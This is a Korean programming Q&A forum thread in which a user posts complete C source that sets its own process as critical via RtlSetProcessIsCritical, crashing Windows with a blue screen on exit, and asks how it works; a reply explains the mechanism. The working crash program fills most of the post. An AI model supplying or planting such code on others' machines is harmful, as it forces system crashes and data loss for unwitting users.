프로그래밍

3206,

8/161

h@cking2013

블루스크린 소스

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=6450 [복사]

안녕하세요.
인터넷에서 블루스크린을 띄우는 소스를 우연히 발견하였습니다.

#include <windows.h>

typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (
               IN BOOLEAN        NewValue,
               OUT PBOOLEAN OldValue,
               IN BOOLEAN      IsWinlogon );

BOOL EnablePriv(LPCSTR lpszPriv)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkprivs;
    ZeroMemory(&tkprivs, sizeof(tkprivs));

    if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
        return FALSE;

    if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){
        CloseHandle(hToken); return FALSE;
    }

    tkprivs.PrivilegeCount = 1;
    tkprivs.Privileges[0].Luid = luid;
    tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
    CloseHandle(hToken);
    return bRet;
}

BOOL ProtectProcess()
{
   HANDLE hDLL;
   RtlSetProcessIsCritical fSetCritical;

   hDLL = LoadLibraryA("ntdll.dll");
   if ( hDLL != NULL )
   {
         EnablePriv(SE_DEBUG_NAME);
        (fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );
          if(!fSetCritical) return 0;
          fSetCritical(1,0,0);
    return 1;
   } else
          return 0;
}

int main (void)
{
ProtectProcess();
return 1;
}

어떤 원리인가요?

Hit : 6635 Date : 2014/03/23 03:12


MainThread	hDLL이라는 DLL파일을 통해 RtlSetProcessIsCritical함수를 얻어오고 있습니다. - RtlSetProcessIsCritical는 임계프로세스를 생성하기 위한 함수입니다. - 임계프로세스(Critical Process)는 종료되지 않는 즉, 블루스크린을 유발시키는 프로세스입니다. GetProcAddress에 대해 자세히 알고 싶으시다면 MSDN을 참고해 보세요 From MainThread	2014/05/24
h@cking2013	감사합니다!	2014/07/30
김병권	옛날에 어떤 분이 네이트온으로 블루스크린 화면에 띄워봐라고 하던데... 기억이 나네요. 좋은 정보 감사해요... ㅋㅋ	2015/02/01
김병권	6년은 된 거라도 기억이 나긴 납니다 ㅋㅋㅋㅋ	2015/02/01
somass	감사합니다	2022/09/16

3066

C++ 질문이 있습니다.[1]

shdac

03/31

2914

3065

C언어 문제풀이중 궁금한게 생겼는데요[1]

호박

03/30

3361

블루스크린 소스[5]

h@cking2013

03/23

6634

3063

◆ 아이비씨벳.스보벳 슈퍼-시니어 마스터 직영점 ◆

popo123

03/14

3642

3062

[포인터]C언어 질문[2]

박영민

03/12

3427

3061

0xffffffff가 무슨 뜻인가요??[1]

socks

03/02

6329

3060

윈도우즈에서 백그라운드로 프로그램실행하게 하는것에 대해

yuhioh8

02/25

4437

3059

connection timed out[4]

h@cking2013

02/25

2923

3058

소켓 프로그래밍 에러!![2]

h@cking2013

02/24

5014

3057

특정한 키의 값을 입력 받을때 특정한 작동을하는 프로그램을 구상중인데요[3]

yuhioh8

02/18

3251

3056

이거 왜 경고가 뜨는지알수있을까요? c언어로 만들었습니다[2]

Opportunity

02/16

3928

3055

c언어 방금 막 배우기 시작했는데요 ..scanf 함수에대해서 질문이요[4]

Opportunity

02/15

3048

3054

c언어 다차원 배열 궁금한 거[3]

ktf1234

02/13

2841

3053

JSP 질문 드립니다.[1]

sonyy789

02/12

3712

3052

C언어 출력 서식을 이용한 자릿수 지정이 뭘까요..[2]

ktf1234

02/06

3892

3051

뭐가 잘못된걸까요 ㅠㅠ[4]

yous4831

02/06

3456

3050

c언어 상수의번지표현 답변좀요 ㅠㅠ[3]

ktf1234

02/05

2829

3049

간단한 C언어 예제인데 궁금한게 있어요![3]

besunshine90

02/05

3484

3048

c언어 관련해서 질문좀 하겠습니다.[1]

dudtntdud

01/28

2822

3047

c 질문이요[6]

raldbstn8

01/24

3349

[1][2][3][4][5][6][7] 8 [9][10]..[161]